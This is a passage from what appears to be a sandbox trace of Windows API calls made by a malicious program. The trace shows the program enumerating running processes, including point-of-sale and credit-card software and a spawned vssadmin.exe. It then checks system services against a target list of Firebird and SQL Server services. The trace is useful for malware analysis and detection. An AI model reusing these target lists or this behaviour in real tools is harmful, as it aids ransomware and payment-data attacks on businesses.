(in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0063.030] lstrlenW (lpString="afr38.exe") returned 9 [0063.030] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0063.030] lstrlenW (lpString="aldelo.exe") returned 10 [0063.030] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0063.031] lstrlenW (lpString="ccv_server.exe") returned 14 [0063.031] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0063.031] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0063.031] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0063.032] lstrlenW (lpString="creditservice.exe") returned 17 [0063.032] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0063.032] lstrlenW (lpString="edcsvr.exe") returned 10 [0063.032] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0063.033] lstrlenW (lpString="fpos.exe") returned 8 [0063.033] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0063.033] lstrlenW (lpString="isspos.exe") returned 10 [0063.033] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0063.034] lstrlenW (lpString="mxslipstream.exe") returned 16 [0063.034] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0063.034] lstrlenW (lpString="omnipos.exe") returned 11 [0063.034] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0063.034] lstrlenW (lpString="spcwin.exe") returned 10 [0063.035] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0063.035] lstrlenW (lpString="spgagentservice.exe") returned 19 [0063.035] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0063.035] lstrlenW (lpString="utg2.exe") returned 8 [0063.035] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0063.036] lstrlenW (lpString="nj_sh.exe") returned 9 [0063.037] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0063.037] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0063.037] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0063.037] lstrlenW (lpString="telecommunications.exe") returned 22 [0063.037] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0063.038] lstrlenW (lpString="sound banking.exe") returned 17 [0063.038] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.038] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.038] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.039] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0063.039] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0063.039] lstrlenW (lpString="taskhost.exe") returned 12 [0063.039] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0063.039] lstrlenW (lpString="dllhost.exe") returned 11 [0063.039] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0063.040] lstrlenW (lpString="dllhost.exe") returned 11 [0063.040] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0063.040] lstrlenW (lpString="winhost.exe") returned 11 [0063.040] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.041] lstrlenW (lpString="cmd.exe") returned 7 [0063.041] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.041] lstrlenW (lpString="conhost.exe") returned 11 [0063.041] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.042] lstrlenW (lpString="vssadmin.exe") returned 12 [0063.042] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0063.042] CloseHandle (hObject=0x188) returned 1 [0063.042] Sleep (dwMilliseconds=0x1f4) [0064.600] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52fb40 [0064.601] EnumServicesStatusExW (in: hSCManager=0x52fb40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0064.602] GetLastError () returned 0xea [0064.602] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x3f23b10 [0064.602] EnumServicesStatusExW (in: hSCManager=0x52fb40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f23b10, cbBufSize=0x11e4, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f23b10, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0064.604] CloseServiceHandle (hSCObject=0x52fb40) returned 1 [0064.604] lstrlenW (lpString="Appinfo") returned 7 [0064.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0064.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0064.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0064.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0064.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0064.604] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0064.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0064.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0064.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0064.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0064.604] lstrlenW (lpString="AudioSrv") returned 8 [0064.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0064.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0064.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0064.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0064.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0064.604] lstrlenW (lpString="BFE") returned 3 [0064.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0064.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0064.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0064.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0064.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0064.605] lstrlenW (lpString="CryptSvc") returned 8 [0064.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0064.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0064.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0064.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0064.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0064.605] lstrlenW (lpString="CscService") returned 10 [0064.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0064.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0064.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0064.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0064.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0064.605] lstrlenW (lpString="DcomLaunch") returned 10 [0064.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0064.605] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0064.605] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0064.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0064.605] lstrlenW (lpString="Dhcp") returned 4 [0064.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0064.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0064.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0064.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0064.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0064.606] lstrlenW (lpString="Dnscache") returned 8 [0064.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0064.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0064.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0064.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0064.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0064.606] lstrlenW (lpString="DPS") returned 3 [0064.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0064.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0064.606] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0064.606] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0064.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0064.606] lstrlenW (lpString="eventlog") returned 8 [0064.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0064.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0064.606] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0064.606] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0064.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0064.606] lstrlenW (lpString="EventSystem") returned 11 [0064.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0064.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0064.606] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0064.606] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0064.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0064.607] lstrlenW (lpString="gpsvc") returned 5 [0064.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0064.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0064.607] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0064.607] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0064.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0064.607] lstrlenW (lpString="iphlpsvc") returned 8 [0064.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0064.607] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0064.607] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0064.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0064.607] lstrlenW (lpString="LanmanServer") returned 12 [0064.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0064.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0064.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0064.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0064.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0064.607] lstrlenW (lpString="LanmanWorkstation") returned 17 [0064.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0064.607] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0064.607] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0064.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0064.607] lstrlenW (lpString="lmhosts") returned 7 [0064.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0064.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0064.608] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0064.608] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0064.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0064.608] lstrlenW (lpString="MMCSS") returned 5 [0064.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0064.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0064.608] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0064.608] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0064.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0064.608] lstrlenW (lpString="MpsSvc") returned 6 [0064.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0064.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0064.608] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0064.608] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0064.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0064.608] lstrlenW (lpString="Netman") returned 6 [0064.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0064.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0064.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0064.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0064.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0064.608] lstrlenW (lpString="netprofm") returned 8 [0064.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0064.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0064.608] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0064.608] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0064.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0064.609] lstrlenW (lpString="NlaSvc") returned 6 [0064.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0064.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0064.609] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0064.609] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0064.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0064.609] lstrlenW (lpString="nsi") returned 3 [0064.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0064.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0064.609] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0064.609] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0064.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0064.609] lstrlenW (lpString="PcaSvc") returned 6 [0064.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0064.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0064.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0064.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0064.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0064.609] lstrlenW (lpString="PlugPlay") returned 8 [0064.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0064.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0064.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0064.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0064.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0064.609] lstrlenW (lpString="Power") returned 5 [0064.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0064.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0064.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0064.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0064.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0064.610] lstrlenW (lpString="ProfSvc") returned 7 [0064.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0064.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0064.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0064.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0064.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0064.610] lstrlenW (lpString="RpcEptMapper") returned 12 [0064.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0064.610] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0064.610] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0064.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0064.610] lstrlenW (lpString="RpcSs") returned 5 [0064.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0064.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0064.610] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0064.610] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0064.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0064.610] lstrlenW (lpString="SamSs") returned 5 [0064.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0064.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0064.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0064.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0064.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0064.611] lstrlenW (lpString="Schedule") returned 8 [0064.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0064.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0064.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0064.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0064.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0064.611] lstrlenW (lpString="SENS") returned 4 [0064.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0064.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0064.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0064.611] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0064.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0064.611] lstrlenW (lpString="ShellHWDetection") returned 16 [0064.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0064.612] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0064.612] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0064.612] lstrcmpiW (lpString1="sqlserveradhelper", 